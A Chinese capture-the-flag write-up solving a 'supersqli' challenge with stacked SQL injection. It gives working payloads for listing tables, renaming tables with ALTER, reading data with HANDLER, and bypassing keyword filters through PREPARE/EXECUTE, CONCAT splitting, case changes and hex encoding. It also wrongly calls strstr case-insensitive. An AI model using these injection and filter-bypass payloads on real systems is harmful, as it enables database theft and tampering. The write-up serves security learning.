supersqli
测试
1
回显正常
1 and 1=2
回显正常 ,说明是字符型注入
1'
回显报错
1' -- +
回显正常,说明后台是以 select * from table_name where id=
的形式查询
爆列数
1' order by 1 -- +
回显正常
1' order by 2 -- +
回显正常
1' order by 3 -- +
回显报错,说明列数为2
然后按一般套路,接下来是union select 联合查询,但是返回的是
preg_match("/select|update|delete|drop|insert|where|./i",$inject);
说明过滤了以上的字符,select被过滤导致我们无法使用联合查询。
这里没有过滤分号,我们试着用堆叠注入
爆表名
1';show tables;-- +
表名: `1919810931114514`,"words"
这里注意以纯数字构成的表名,需要用飘号引起来(包括sql语句的时候,也要如此)。
爆列名
1';show columns from words;-- +
1';show columns from `1919810931114514`;-- +
words表
id int(10) NO
data varchar(20) NO
1919810931114514表
flag varchar(100) NO
思路一
这里我们可以得知回显的内容是words表中的内容,并且这时没有过滤rename.我们可以把words表改成别的名字,这里改成word表,然后将1919810931114514表改成words表,这时1919810931114514表只有flag一个字段,再利用alter向1919810931114514表添加一个id列名,这时就符合了后台查询语句
select * from words where id=
注意,这时我们flag对应id的值为空此时,所以我们要用or 1=1
来爆出全部数据,即flag.
payload:
1';rename table words to word;rename table `1919810931114514` to words;alter table words add id int(3);-- +
思路二
我们观察到,没有过滤handler.所以我们尝试使用handler.
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
handler 基本语法
handler table_name open;
handler table_name read first;
handler table_name read next;
handler table_name close;
handler用法参考博客
构造payload
1';handler `1919810931114514` open;handler `1919810931114514` read first;-- +
思路三
这里没有过滤set,prepare,execute,所以我们尝试使用预编译.
预处理 SQL
但是,绝大多数情况下,某需求某一条SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。
具体事例可参考https://www.runoob.com/php/php-mysql-prepared-statements.html
我们这里所谓的用预编译并没有跟上述描述的那样使用占位符,而是指的是使用了预编译的处理语句.
我们通过set和concat来绕过select
set @sql=concat('sele','ct * from `1919810931114514`');
set 的变量名前面要加个@,若不加,虽然可以执行命令,但是会报错,@是定义一个用户自定义变量的意思
通过prepare来定义一个模板(这个模板没有占位符,而是直接具体的)
prepare aaa from @sql;
通过execute来执行模板
execute aaa;
构造payload
1';set @sql=concat('sele','ct * from `1919810931114514`');prepare aa from @sql;execute aa;- -+
这时返回
strstr($inject, "set") && strstr($inject, "prepare")
strstr函数会返回匹配到字符后面包括字符的所有字符。
如:
strstr('hello world!','world') //会返回world!
因为这个函数不区分大小写,所以我们使用大小写绕过
1';Set @sql=concat('sele','ct * from `1919810931114514`');prepare aa from @sql;Execute aa;- -+
思路四
这里依然使用预编译,只不过不用concat绕过select,而是用16进制来进行绕过
select hex('select * from `1919810931114514`');
利用mysql自带hex函数得到1919810931114514的十六进制
73656C656374202A2066726F6D20603139313938313039333131313435313460
这里为什么不用那些十六进制网站,因为有些网站转换出来的16进制和我们用hex函数转换出来的不一样,而实际上hex转换出来的才有用,所以我们尽量使用hex函数得出十六进制
payload:
1';Set @sql=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;Prepare a from @sql;execute a;-- +